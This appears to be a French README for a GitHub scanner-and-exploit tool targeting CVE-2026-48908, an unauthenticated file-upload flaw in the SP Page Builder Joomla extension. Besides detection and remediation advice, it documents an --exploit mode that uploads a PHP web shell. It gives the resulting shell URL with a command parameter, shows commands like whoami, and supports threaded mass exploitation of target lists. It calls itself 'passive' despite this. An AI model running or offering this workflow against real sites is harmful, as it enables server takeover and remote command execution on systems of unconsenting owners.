
Vérificateur de sécurité passif pour CVE-2026-48908 affectant SP Page Builder.
Ce projet est un outil de recherche en sécurité développé par yora pour détecter et prouver la vulnérabilité CVE-2026-48908 dans l'extension SP Page Builder pour Joomla.
Cette vulnérabilité permet à un attaquant sans authentification de téléverser un fichier PHP via l'endpoint asset.uploadCustomIcon, qui est ensuite extrait dans un répertoire public et peut être exécuté → Remote Code Execution (RCE).
Versions affectées : SP Page Builder 1.0.0 à 6.6.1 (corrigé dans ).
6.6.2⚠️ Avertissement – Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de tester. Une utilisation sans autorisation est illégale.
Ce projet est développé et maintenu par :
Soutenu par la communauté de la sécurité et la recherche indépendante.
| Fonctionnalité | Description |
|---|---|
| 🔍 Détection des composants | Détecte Joomla et SP Page Builder à partir de diverses sources (robots.txt, administrator, asset, HTML). |
| 📌 Empreinte de version | Identifie la version de SP Page Builder à partir des CSS/JS, des balises meta et du fichier manifeste. |
| 🧪 Validation de l'endpoint | Teste l'accès à asset.uploadCustomIcon sans authentification. |
| 📊 Classification intelligente | Les résultats sont classés en CONFIRMED / LIKELY / NOT_VULNERABLE / UNKNOWN avec des raisons et un niveau de confiance. |
| 🚀 Exploit adaptatif | Si --exploit est utilisé, l'outil essaie différentes extensions PHP (.php, .php3, .phtml, .PHP, etc.) et .htaccess pour prouver la RCE en toute sécurité. |
| 📁 Sortie JSON | Toutes les preuves sont enregistrées dans un fichier .json pour l'audit et les rapports. |
| ⚡ Multi‑threading | Scanne plusieurs cibles à la fois avec --list et les paramètres de threads. |
| 🧹 Nettoyage | --cleanup affiche les commandes pour supprimer les artefacts téléversés. |
git clone https://github.com/yora1928/CVE-2026-48908-by-yora.git
cd CVE-2026-48908-by-yora
python -m pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
python scanner.py --url https://target-website.com
Exemple de sortie :
[🔴 CONFIRMED] https://target-website.com
├─ SP detected
├─ v6.3.1
└─ Vulnerable version 6.3.1 and endpoint open
python scanner.py --url https://target-website.com --exploit
Ce qui se passe :
Exemple de sortie réussie (issue d'un test réel) :
[*] Scanning: https://target-website.com
[*] Target confirmed vulnerable. Running adaptive exploit...
[*] Trying method: php -> EXECUTED
[🔴 CONFIRMED] https://target-website.com
├─ SP detected
├─ v6.3.1
└─ Vulnerable version 6.3.1 and endpoint open
└─ ✅ RCE confirmed via PoC upload!
Shell URL: https://target-website.com/media/com_sppagebuilder/assets/iconfont/icoyjdehd/fonts/fpqofpk.php?t=7f5e90gcxx0j0r51&c=<cmd>
Created dirs: media/com_sppagebuilder/assets/iconfont/icoyjdehd
Comment utiliser l'URL du shell :
c contenant la commande à exécuter....?t=7f5e90gcxx0j0r51&c=whoami🔐 Jeton (
t=...) est secret – ne partagez pas l'URL du shell avec des personnes non autorisées.
Créez un fichier targets.txt (une URL par ligne) :
https://site1.com
https://site2.com
Exécutez :
python scanner.py --list targets.txt --threads 5
Avec exploitation :
python scanner.py --list targets.txt --threads 5 --exploit
python scanner.py --url https://target.com --output reports/hasil.json
Une fois terminé, nettoyez le répertoire créé :
python scanner.py --url https://target.com --exploit --cleanup
Remarque :
--cleanupaffiche la commanderm -rfà exécuter manuellement (car les permissions d'écriture peuvent être limitées). Si vous disposez d'un accès FTP/SSH, supprimez le répertoire indiqué dansCreated dirs.
| Statut | Signification | Action recommandée |
|---|---|---|
| 🔴 CONFIRMED | SP Page Builder détecté, version vulnérable (≤ 6.6.1), et endpoint asset.uploadCustomIcon accessible sans authentification. Vulnérable. | Mettez immédiatement à jour SP Page Builder vers 6.6.2 ou une version ultérieure. Si --exploit a été utilisé, supprimez les artefacts téléversés. |
| 🟡 LIKELY | SP détecté, version vulnérable, mais le statut d'authentification de l'endpoint n'a pas pu être confirmé. Probablement vulnérable. | Vérifiez manuellement en accédant à l'endpoint index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon sans connexion. Si vous n'êtes pas redirigé vers la connexion, alors il est vulnérable. |
| 🟢 NOT_VULNERABLE | SP Page Builder version ≥ 6.6.2 (déjà corrigée) détectée. Sûr. | Aucune action supplémentaire requise. |
| ⚪ UNKNOWN | SP Page Builder non détecté, ou version non identifiable, ou données insuffisantes. | Vérifiez manuellement si SP Page Builder est installé. Si c'est le cas, essayez de détecter la version via le fichier sppagebuilder.xml dans /administrator/components/com_sppagebuilder/. |
| ❌ ERROR | Erreur de connexion ou délai d'attente dépassé. | Vérifiez la connexion Internet, le pare-feu, ou essayez d'augmenter le délai d'attente avec --timeout 60. |
Le fichier scan_result.json contient toutes les preuves collectées :
{
"scanner": "CVE-2026-48908 Scanner + Exploit",
"scan_time": "2026-08-13T10:30:00.123456+00:00",
"total_targets": 1,
"results": [
{
"target": "https://target.com",
"classification": {
"status": "CONFIRMED",
"confidence": "high",
"reasoning": ["Vulnerable version 6.3.1 and endpoint open"],
"evidence_summary": ["SP asset at /components/..."]
},
"exploit_result": {
"upload_success": true,
"access_success": true,
"shell_url": "https://target.com/media/.../fpqofpk.php?t=TOKEN&c=<cmd>",
"created_dirs": ["media/com_sppagebuilder/assets/iconfont/icoyjdehd"]
}
}
]
}
CVE-2026-48908-by-yora/
├── scanner.py # File utama (deteksi + exploit)
├── requirements.txt # Dependensi Python
├── README.md # Dokumentasi ini
├── SECURITY.md # Kebijakan keamanan dan pelaporan
├── LICENSE # Lisensi MIT
├── detection/ # (opsional) modul deteksi tambahan
├── poc/ # (opsional) PoC alternatif
└── reports/ # Tempat menyimpan hasil JSON (otomatis)
En utilisant cet outil, vous acceptez d'être entièrement responsable de vos actions.
Si vous rencontrez un problème ou souhaitez contribuer, veuillez ouvrir une Issue ou une Pull Request sur ce dépôt.
Pour les rapports de sécurité, suivez les directives dans SECURITY.md.
Ce projet est sous licence MIT License – consultez le fichier LICENSE pour plus de détails.
Développé avec ❤️ par yora